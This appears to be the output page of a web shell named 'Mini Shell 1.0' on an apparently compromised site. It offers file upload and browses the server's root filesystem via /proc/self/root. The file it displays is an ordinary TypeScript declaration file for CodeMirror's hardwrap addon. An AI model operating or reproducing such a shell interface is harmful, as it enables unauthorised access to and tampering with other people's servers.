HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/share/node_modules/@types/codemirror/addon/wrap/
Upload File :
Current File : //proc/self/root/usr/share/node_modules/@types/codemirror/addon/wrap/hardwrap.d.ts
import '../../';

export interface HardwrapOptions {
    column?: number | undefined;
    paragraphStart?: RegExp | undefined;
    paragraphEnd?: RegExp | undefined;
    wrapOn?: RegExp | undefined;
    killTrailingSpace?: boolean | undefined;
    forceBreak?: boolean | undefined;
}

declare module '../../' {
    interface CommandActions {
        wrapLines(cm: Editor): void;
    }

    interface Editor {
        /** Wraps the paragraph at the given position. If pos is not given, it defaults to the cursor position. */
        wrapParagraph(pos?: Position, options?: HardwrapOptions): void;
        /** Wraps the given range as one big paragraph. */
        wrapRange(from: Position, to: Position, options?: HardwrapOptions): void;
        /** Wraps the paragraphs in (and overlapping with) the given range individually. */
        wrapParagraphsInRange(from: Position, to: Position, options?: HardwrapOptions): void;
    }
}